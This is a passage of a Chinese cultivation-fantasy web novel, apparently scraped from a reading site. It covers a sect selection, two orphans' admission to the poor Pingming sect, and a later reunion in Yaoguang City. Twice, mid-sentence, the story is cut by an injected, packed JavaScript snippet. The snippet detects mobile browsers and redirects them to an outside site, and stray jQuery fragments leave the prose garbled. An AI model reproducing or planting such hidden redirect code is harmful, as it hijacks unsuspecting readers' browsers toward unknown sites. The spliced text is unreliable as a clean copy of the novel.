“此处是历练之地,明日诸位选拔的地点便在这片密林里面。考虑到诸位大部分不过是刚进入练气阶段,所以里面并不会放过于凶险的鬼怪,且里面设有保护机制,并不会带来致命伤,诸位若是仍然心存顾虑,也可现在离开。”禾姝温声道。
少年们面面相觑,过了一会一人举手说要离开,而后不过一柱香的时间,山中人便离开了三分之二。
离开的基本都是一些凡人子弟,来也不过是凑个热闹,连练气都未入,自然要离开。
慕容沬抱臂不屑地看向还在纠结要不要离开的人,而后又瞥了一眼曲堪尘,道:“你不离开吗?你还没有步入练气阶段,就一个凡人,这个水平进去也只是被打的吧,难道你要用眼泪去御敌吗?”
江凝清维护他道:“我也是前几天步入的练气啊,说不定我们家堪尘也天赋异禀呢。”
慕容沬吐槽:“哪里这么多天赋异禀的啊,又不是人人和你一样是怪物,我就没见过能听上两三天课就入道的人。”
江凝清怂了怂肩膀:“我们两个整天一同睡觉吃饭,说不定天分便传染给他了。”
“我哥和我也整天一起吃饭呢,也没见他被我传染天分啊。”慕容沬反驳道。
“那说明我比你更有天分。”江凝清哼唧了一声,最后两人的争辩以这句话作为终结,慕容沬没再反驳江凝清的话,她确实是认同江凝清比她有天分的。
看个不认识的破字都能直接从练气初阶升到练气五阶,谁能比她有天分呢?
在她们两个争辩的这段时间里周围的人已经走得七七八八了,留下来的也就几百人,一个个穿金戴银的,明显是大户人家或者修仙世家的子弟。也就江凝清和曲堪尘穿着打补丁的破旧衣服,看起来格格不入。
大部分人慕容沬都认识,但是她不想去社交而已,反正这些人都不可能进平明宗,如果这里面有一个人能进去的话,那只能是江凝清。
可惜并不是所有人都像她一样慧眼识珠,夜里慕容沬去找地方放法器帐篷,便有人趁着她不在去带着小团体去围堵江凝清他们二人。
不过不是冲着江凝清来的,而是冲着曲堪尘,针对江凝清只是顺带。
一个衣着华贵长着三白眼鼻孔朝天的少男颐指气使地对曲堪尘道:“你个小白脸别以为自己长得好看就可以勾搭慕容家小姐,离慕容沬远一点,再让我看到你们两个缠在慕容沬身边我把你揍残废。”
曲堪尘正在试图给江凝清做烤鸟让她解解馋,是白天的时候江凝清用石子打到的鸟,江凝清说特别想吃烤鸟肉,缠着让他做的,为此他还借了一点慕容沬芥子囊里面带的盐。
而那个小少爷直接把那少得可怜的烤鸟肉给一脚踹到了地上,死死地用脚碾了碾。
江凝清气得要蹦起来揍他,让这个小少爷知道知道社会的险恶,草他大爷的,好不容易打下来的鸟。
自从她闻到禾姝身上的肉味后就开始犯馋,馋了三天,好不容易看到野味的。
然而江凝清还没来得及起身便看到曲堪尘揍了那个小少爷一拳,江凝清心里大惊……她还从来没有见到曲堪尘这么冲动的时候。
看来曲堪尘也很想吃这个烤鸟肉。
曲堪尘深得江凝清真传,打人讲究一个稳准狠,他的突然发难出其不意,那个三角眼小少爷眼睛很快肿成了一条缝。
真是可怜,本来眼睛就不大。
但那个小少爷毕竟比曲堪尘修为高,加上他们人多,自然而然不过几息曲堪尘就落了下风,曲堪尘被按倒在地上,眼见一个拳头就要落到他的脸上,他紧紧闭上了眼睛。
江凝清抓住了那只手……
“打人别打脸啊,”江凝清说着,一边把那只手往后拧去,小少爷立马痛地撤回了手,他的跟班见他受了憋屈便立马朝着江凝清打过来。
还都挺仗义的。
真是可惜了,江凝清一个人流浪这么多年,最不害怕的就是打群架。
眼见对方几人都拿起了木剑,虽是木剑,但是加上灵力操纵杀伤力不逊于铁剑。
木剑带着灵光,骤然飞去,如同暴雨一样朝着江凝清袭来,江凝清只微微一笑……拉起曲堪尘就跑。
当然要跑,好汉不吃眼前亏,她就算是天才也不能一个打这么多个吧,而且里面有好几个修为比她高的。
不跑会被捅成筛子的,实在是吓人。
她一边跑还一边回头挑衅道:“你们等着吧,我回去就告诉慕容沬你们找我的麻烦,到时候看她不收拾你们……”
她这句话还没有说完便被眼前的人撞到在地。
是禾姝,她面色严肃地看着江凝清身后的那些人,一个眼神便镇住了那些小公子。
江凝清一看便知道她有救了,连忙爬起来抱着禾姝大腿,伸手指向那几人:“是他们说我们两个臭乞丐不要脸,还要打我们。”
小少爷:“我没有!”
江凝清眨了眨眼睛,眼泪立马落了下来,万分无辜地对禾姝道:“真的是他们先挑起事的,他们几人以多欺少,我根本没打他们。”
她确实是没打,是曲堪尘打的。
禾姝叹了口气,道:“请诸位小友不要私斗,若是再有下次,平明宗便只能将诸位请出去了。”
她转头对江凝清道:“江小友,我们私下谈谈吧。”
江凝清一阵心虚,她点了点头,跟在禾姝半步远的地方。
曲堪尘见状也要跟过去,被江凝清用眼神暗示他留下。
此时禾姝道:“若是曲小友想要跟着的话,也可以一同前往。”
曲堪尘立马小跑在江凝清身边,抓住她的手小声道:“刚刚是我冲动了,对不起嘛。”
江凝清凑到他耳边悄声道:“没事,就算是你不打他我也要打他的,你打的还轻一些,我一拳下去他得哭……”
“咳咳……”禾姝清了清嗓子,温声道,“我能听见。”
江凝清:……
江凝清闭上了最,默默跟在她身后。
她突然闻到了一股香味,几乎将她的心神勾去……越近那味道越是明显,知道禾姝进了带着他们两个进了一个竹屋里面,江凝清看到了烧烤架!
禾姝微微笑道:“不知明日师父是否愿意收你们为徒,不过我见两位有缘,那我请两位小友吃顿饭吧。”
江凝清立刻转悲为喜,抱住禾姝便道:“谢谢姐姐!姐姐真的是天仙下凡人美心善,修为又高做饭又好吃,完全十全十美啊!”
禾姝无奈地揉了揉江凝清的脑袋,道:“快些吃吧,明日带你们去见师父他老人家。”
江凝清道:“不是去历练吗?”
“啊这个……只是吓唬一些道心不稳修为不高的孩子罢了,实际上并不用历练,最后能不能加入宗门全是师父他一个人说的算。”
禾姝突然停顿了一下,诧异地看向江凝清。
江凝清道:“怎么了吗?”
“练气六阶了……怎么吃个饭便能突然突破,我没在饭里面加什么啊?”禾姝自我怀疑道。
江凝清也惊讶了一下,道:“大概是姐姐你做的饭太好吃了,我很久没有吃到肉了,吃得太感动了。”
禾姝听江凝清这么说心里更是感慨,转头又给他们两个多做了几把肉串。
这几乎是江凝清吃得最满足的一次了,吃饱了就开始犯困,迷迷糊糊就要往回走。
而后她被禾姝拎住了脖子。
“这里离你们帐篷那里实在是太远了,此处是几个师妹师弟们玩闹的小院,有不少空房间,你们便在这里住下吧。”
曲堪尘看向江凝清,江凝清思考了一会,点了点头道;“好啊,不过要给慕容沬传信,让她别等我们两个了。”
禾姝微微一笑:“我帮你们传信吧,早些休息。”
她把江凝清曲堪尘两人带到了两个房间,这还是曲堪尘第一次离江凝清这么远,身边没有了另一个人多呼吸心里总觉得空落落的,辗转反侧许久。
他睡不着觉,就开始下床去练习功法,练了一会又觉得枯燥,便出了院子,摘起一片树叶子小声吹了个曲子。
他知道自己马上就要和江凝清分别了,江凝清天资超凡,即使不入平明宗也会走上修仙这条道路,而他并不会……他连入道都没有。
那个烤鸟肉大概是他为她做的最后一餐了,还被如此践踏破坏,所以他才会一时控制不住自己,对人大打出手。
于是他曲声哀切许多,带着无尽的眷恋,茫然,甚至还带着些欣喜,悲喜交加,更情难自胜。
忽然他脑子闪过一点灵光,想起白日里学的那句“乐声正天地阴阳五行之语言也”。
他继续将曲子吹了下去,只见刚刚被他摘下树叶的那个柳树以肉眼可见的速度又迅速长出来一片叶子,风一吹整棵树乱晃一片。
曲堪尘压下自己吵得厉害的心跳声,这是……仙术吗?
他入道了?
他更加睡不着觉了,马上便要吹第二首曲子,可身体不堪重负,直接让他累晕在地上,沉沉睡了过去。
等他再睁开眼睛,便看到了江凝清满脸担忧地望着他,见他睁开眼便道:“怎么大半夜出去了?我早上醒过来看不见你你知道我有多么担心吗?”
曲堪尘冲她笑了笑。
“还笑,莫非睡傻了?”江凝清刚想把手放到他脑袋上摸摸便听到曲堪尘道:“我会仙法了。”
江凝清眨了眨眼睛,随即语气轻快道:“真的啊,太棒了我就知道你也肯定天赋异禀。慕容沬说很少很少听上几天讲课边入道的,说不定我们都能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886653|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进入平明宗。”
她把曲堪尘从地上拉起来,道:“好了,我们该跟着禾姐姐去见见掌门了。”
“嗯!”
等江凝清几个赶到的时候便看到只有七八人跟着禾姝往山上走,其他人不见踪影。
还好这七八人中有慕容沬,江凝清凑到慕容沬身边,道:“怎么回事,人好少,其他人呢?”
“那群废物当然是回家去了,禾姝仙子没看上他们,那东仙尊自然更看不上他们了。”
“东仙尊是谁?”
“你拿我开玩笑呢江凝清,连平明宗掌门你都不知道是什么名字来干什么啊?”慕容沬气鼓鼓道。
江凝清坦诚道:“确实不知。”
慕容沬憋红了脸,道:“那现在你知道了,那个……昨天晚上的事情对不起,他们几个刚回来我就暴揍了一顿他们,就算你入选不上平明宗也不会再有人欺负你了,欺负你就是和慕容家为敌。”
江凝清憋着笑出了声。
“你笑什么!”
“沬沬你好可爱啊。”
“我才没有你想象中那么可爱的,其实我是童脸狼,表面看起来温柔善良,实际上自私自利内心黑暗的很呢!”慕容沬为了证明可信度提高声音,说完这句话她便转头不去看江凝清了。
江凝清哈哈一笑,转身便拉着曲堪尘的手玩了起来。
他们爬了不知道多少个台阶,又七绕八绕,才到了一个小破屋门前。
一个一头如雪白发的人从破屋里面出来,他身上自带一种闲人勿进淡漠疏离的气场,周围也仿佛裹着一层寒气。山上本来就冷,他一出来便让江凝清鸡皮疙瘩都起来了。
“禾姝,这是今年你带回来的弟子吗?”
“师父,正是这些。”
东拂晓扫了他们几人一眼,在扫到江凝清的时候目光明显停顿了下来。
他走到江凝清身边,道:“你拜入我门下吧……加上你身边这个男孩,其他人离开吧。”
“禾姝,你带他们两个找个屋子,或者随便在山上搭个房子也行,我有些累了,闭关一段时间。”
禾姝已经习惯师父的闭关了,她点头说是,先把其他人送离平明宗,又带着江凝清二人到了一处平坦的地方,此处建着几个零散的房子,又有一大片空地当修行的地方。
只是过于简朴了,和江凝清想象中的修道完全不同,不应该住在金银屋里吃香的喝辣的吗?为什么只是几个木屋或者竹屋?
还有……“师姐,师父闭关了谁来教我们啊?”
禾姝微微一笑:“当然是我来教了,师妹师弟们都是我教的呢,山里面有藏书阁,也可以自学。”
感觉更不靠谱了。
此时一道有气无力的声音传来:“是新入门的小师妹小师弟啊……听说是看了一眼我给师姐写的字,而后一下子升了好几个阶段,看见我们这么有缘的份上,那我就告诉你一些真实情况吧。”
江凝清转身望去,看到一个形容慵懒的女子不知何时出现在了她的身后,她说完这句话之后咳嗽了两下,身材纤细貌若西施,柳眉微弯凤眼轻挑,柔弱无骨躺在贵妃椅上,完全一副病美人的样子。
这个可能就是禾姝师姐说的那个生病的师妹了,不过看她这副样子并不是刚生病,反而是病入骨髓,若不是靠修仙的灵气挂着,恐怕便随时驾鹤西去。
“知道为什么平明宗百年一开山门还讲课三日收取一百铜钱吗?因为穷啊,老鼠进了平明宗米缸一看,瞬间眼泪汪汪,把自己偷的一粒米粒丢进米缸里,头也不会就走。平明宗在外人看来多么遗世独立仙气飘飘啊,实际上就是一草台班子,别人再差也算是金镶银,咱们是金镶石头了。感觉全宗门都要靠我写东西养活……介绍一下,我叫钱莱,是你们的师姐。”
江凝清:……
江凝清道:“如果情况这么糟糕的话,或许我可以干起老本行去外面乞讨了,趁着那群少爷小姐还没走远……”
钱莱被她逗乐了,道:“倒是不至于如此,来钱来的还挺多的,只是花钱如流水罢了。对了师姐,我们今天晚上为了庆祝小师妹小师弟来,去山下八仙楼吃饭吧……”
江凝清瞬间目光灼灼地看向禾姝,禾姝笑着点了点头,道:“好吧,现在宗门刚进了一笔钱,是可以好好吃一顿了。”
江凝清万分高兴,捏了捏曲堪尘的手,道:“可以吃饱饭了,修仙还是很好的。”
曲堪尘也捏了捏江凝清的手,他刚刚一直未反应过来,现在才恍然间回神,道:“真的都进来了,我们可以一直不分开了。”
“当然了,一直不会分开的。”
……
江凝清现在想起这句话就浑身起鸡皮疙瘩,还是分开一些比较好,要不然曲堪尘该拿剑怼自己了。
她用了千里遁地术,才终于是甩开了曲堪尘。
真不知道他是怎么找到她的,吓人,实在是吓人。
她到达此处,曲堪尘大概率就不会找到她了吧。
江凝清抬头往去,便见高高的城门紧闭,上面写着三个大字——瑶光城。
19.瑶光城(1)
三百年过去了,瑶光城依旧如此繁华,现在即将日暮,却依旧车水马龙。
几处店铺已经点了灯,街头的商贩也点了灯,各种奇形怪状的灯笼。
江凝清突然想起,现在大概是快要上元节了。
每次上元节瑶光城人会变得格外多,拥挤地喘不过气来,不过江凝清倒是不讨厌这样的氛围,最起码说明是盛世。
不知道今年上元节比三百年前如何。
江凝清弯眼一笑,便开始找住宿的地方,别的事情都明天再忙吧,这两天真的是忙得都多了。
幸好她从曲堪尘身上顺走了几块碎银,完全可以住瑶光城最好的客栈,然后洗澡沐浴整理一番,躺在舒服的大床上好好睡一觉。
结果……
“客人,真不是我不给你住,主要是这里的客房都预订满了,实在是没有地方。”
江凝清:……
过节就是有这样的坏处,人一多就不好找地方住了。
其实并不完全满了,只是要留出部分房间防止意外,比如什么大人物突然要过来住店。
有些修仙者或者大妖怪整天喊打喊杀的,若是他们来了店里发现没有地方住,保不齐会干出什么事,实在是吓人。
想当年她还是剑尊的时候,只要是叫的出名号的店都得卖她一个面子。她那时候也是有钱,每次结账都是芥子囊里随便掏出几块碎银让人家不用找了,所以店家也都喜欢她光顾。
而且她眉目含情明眸皓齿,迷恋她的男男女女一抓一大把,很多店把她曾经住过曾经吃过当做广告,生意做的特别好。
真的是怀念啊,现在她手里只有干老本行从曲堪尘那里顺来的钱。
她刚想要转身离开,便听到身后传来熟悉的令人头疼的少男声音:
“是救命恩人啊!”
另一个让人头痛的少女的声音随之响起:“啊,是清清仙长欸……”
江凝清扶额,转身看向桑榆和钱孟楠,无奈道:“好巧啊有见面了,你们怎么这么快到这里,傀儡村离此处不算近啊。”
一身金光闪闪的钱孟楠道:“我手里有急行符,还有一日千里符,遁地符,咫尺千里符,随便用一个都可以回家了。”
他挠头傻笑:“出去历练之后,感觉自己确实不是很强,所以只能回家继承家业了。”
江凝清:……
投胎果然是一门技术,如果有下辈子的话,希望她下辈子是一个不愁吃不愁穿的大小姐,每天烧银子玩。
如果是这样她也当不成剑尊了,只能当个整天沾花惹草的纨绔,这样也不错。
桑榆道:“我感觉到这里有你的气息,于是跟着钱孟楠一起来了。”
“这也能感受到?”
桑榆点了点头,道:“直觉。”
江凝清挑眉看她,桑榆却半点不回避,圆圆的杏眼也看向江凝清,眼中黑白澄澈分明。
江凝清笑了笑,随即转头对钱孟楠道:“这是你们家开的店吧能不能让我住一晚上?”
“当……当然可以!”钱孟楠对那个伙计说了几句话,伙计立马给他们几个开出了三间天字房,毕恭毕敬地把他们几个带到楼上。
江凝清一进房间就累倒在床上,她现在用的张二丫的身体,这副身体瘦弱营养不良,她劳累了两天都没有怎么好好休息,加上刚刚使用的千里遁地术,让她身体几乎超负荷了。
她该去换一下身体了,三百年过去了,小花那里应该布局布得差不多了。
江凝清把店小二叫来,道:“把你们这里最好的酒给我送上来,再给我上几道招牌菜,不要吃鱼,其他的都可以吃。”
店小二一听是大生意,脸上喜笑颜开,随即江凝清又补上了一句:“钱记在你们少东家那里。”
店小二:……
算了,这样应该也会有提成拿吧,对他来说谁付钱都是一样的。
不到一柱香的时间,酒菜就全都给江凝清上齐了。
江凝清立马打开那坛子酒喝了一口,露出满足的神色。
她第一次喝酒是在她刚入平明宗的第二天,师姐们带着她和曲堪尘去的八仙楼,让她敞开肚子吃。
钱莱师姐要了几坛子酒,半躺在座椅上笑眯眯问她要不要喝,被禾姝师姐制止住了,说小孩子不应该喝酒。
最后江凝清还是小小地喝了一口,只一口,醇香甘甜回味无穷,感觉浓缩着粮食的精华。江凝清这辈子都没喝过这么奢侈的东西,于是她瞬间就爱上了那个味道。
但是禾师姐坚决不让她喝了,她只好作罢。
再到后来她就整天偷摸着下山去买酒喝,师姐给她的月例不少,她把钱全用在了买酒上面,等到月末手里没钱了就去蹭曲堪尘的饭。
曲堪尘每次都会特意给她留一部分钱,他就知道她存不住钱的。
再到后来……发生了太多的事,她便更沉迷于饮酒以做一时逃避了。
江凝清笑了笑,仰头将那坛子酒一饮而尽,便去夹了一筷子东坡肉。
嗯……好熟悉的味道。
和当时山下那家八仙楼的味道好像,是用的同一个菜谱吗?那家的厨子并不是修仙者,早就老死了,她之后就很少吃到这个味道了。
就在此时她的房门被敲了敲,钱孟楠在门外道:“恩人恩人!我娘说明天来见见你,当面道谢你救了我,还给你准备了一些谢礼,你要不要见一见?”
江凝清听到“谢礼”两个字就开口道:“见啊,当然见,明天什么时候。”
“午时可以吗?到时候一起吃个饭,我娘曾经也是修仙之人,说不定你们有些话题可以聊!”
江凝清道:“可以可以。”
她巳时起床,收拾收拾差不多就午时了,再蹭一顿饭,便该去做正事了,时间刚刚好。
江凝清稍微洗漱了一下,便趴在舒服的大床上,八爪鱼一般抱着半条被子睡下,睡得很沉。
第二天果然是巳时起床,她迷迷瞪瞪揉了揉眼睛,坐在梳妆镜前打算把头发扎好。
之前一直是曲堪尘给她扎头发,入了平明宗偶尔师姐给她扎,再到后来几乎是她自己一个人扎头发了。
感觉老天给人打开一扇门的时候势必要堵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895812|175751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住一扇窗,她自己扎头发扎了几百年了,也只有右边的头发能梳好,左边的就扎得歪歪扭扭。
不过她当年风头正盛,所以兴起了一阵把头发扎得歪歪扭扭的风气,说是慵懒风。
甚至还有大儒为她辩经,说右边头发扎好象征她出剑凛然正气干脆利落,而左边头发懒散是因为她人生态度随意豁达,从不在乎身外之物。
江凝清当然喜得这样的评价,所以从未反驳过。
她扎头发虽然扎得烂,但是却很快,加上张二丫发丝稀少枯黄,她三下五除二就捣鼓好了,确保它们看起来还不错,不会影响行动。
江凝清走出房门,便看到钱孟楠和一个女子在楼下坐着,那女子看上去和钱孟楠差不多年龄,只是做已婚妇人打扮,慢慢饮茶,举手投足间一种成熟端庄之感。
是钱孟楠的母亲。
江凝清呼吸一窒愣在了原地,她从未想过钱孟楠的母亲是熟人,钱氏中的“钱”是钱默的“钱”。
钱默是钱莱师姐随手在游历的路上捡来的小徒弟,簪缨世族出身,只是从小便想要除魔歼邪救民于水火,硬是和家里切断了联系,改做师姐的姓氏,拜入平明宗。
她跟钱莱师姐学,自然是以笔墨入道,有时候去师姐院子里,经常看到师姐看淫词艳曲看得津津有味,而小小的钱默面无表情地背着“之乎者也”。
之后钱莱师姐去世,钱默便拿了师姐的笔,孑然一身离去,离开前只在平明宗山门前的石头上留下一行字:
“我心匪石不可转也”
江凝清未想过她竟会入世经营起生意来,还成了瑶光城第一富商。
怪不得此地的酒菜有八仙楼的味道,禾姝师姐曾研究出来过八仙楼的菜谱,可惜大部分菜品制作过程太过复杂,师姐懒得做,只是把菜谱给其他人看了看。
她走下楼去,看向钱孟楠身边站着的钱默,扬声问道:“可是钱夫人?”
钱默正色看她,她着严妆,碎发一丝不苟地梳到脑后,脸庞线条分明,颇有凌厉逼人之感。
真的是许久不见,她小时候脸上还有婴儿肥呢。
钱默将茶杯放下,站起身来,双手交叉于胸前一寸处,微微弯腰对江凝清行了个礼:“多谢仙长救犬子一命,犬子性情顽劣,给仙长添乱了。此后仙长在瑶光城的花费均可记在钱氏名下,此芥子囊中有黄金百两,符篆丹药若干,全当时给仙长的谢礼。”
不愧是大户人家,出手就是豪横。
“多谢,解了我燃眉之急了。”
江凝清入座,喝了一口呈上来的酒,道:“此处酒好。”
“自然,取的是平明宗山下的泉水。”
江凝清手指一颤,面上却不动声色,只是笑道:“平明宗?”
钱默手指摩挲茶盏,语气如常:“你不知道也是正常,毕竟平明宗七百年前便灭门了,除了我们这些老人,世上大多不曾知晓平明宗当年何等盛况。”
她继续道:“但是有一人你大概知道。”
钱默那双深邃的眼睛看向江凝清,而后眼睛微微一弯:“霜刃剑尊,江凝清。”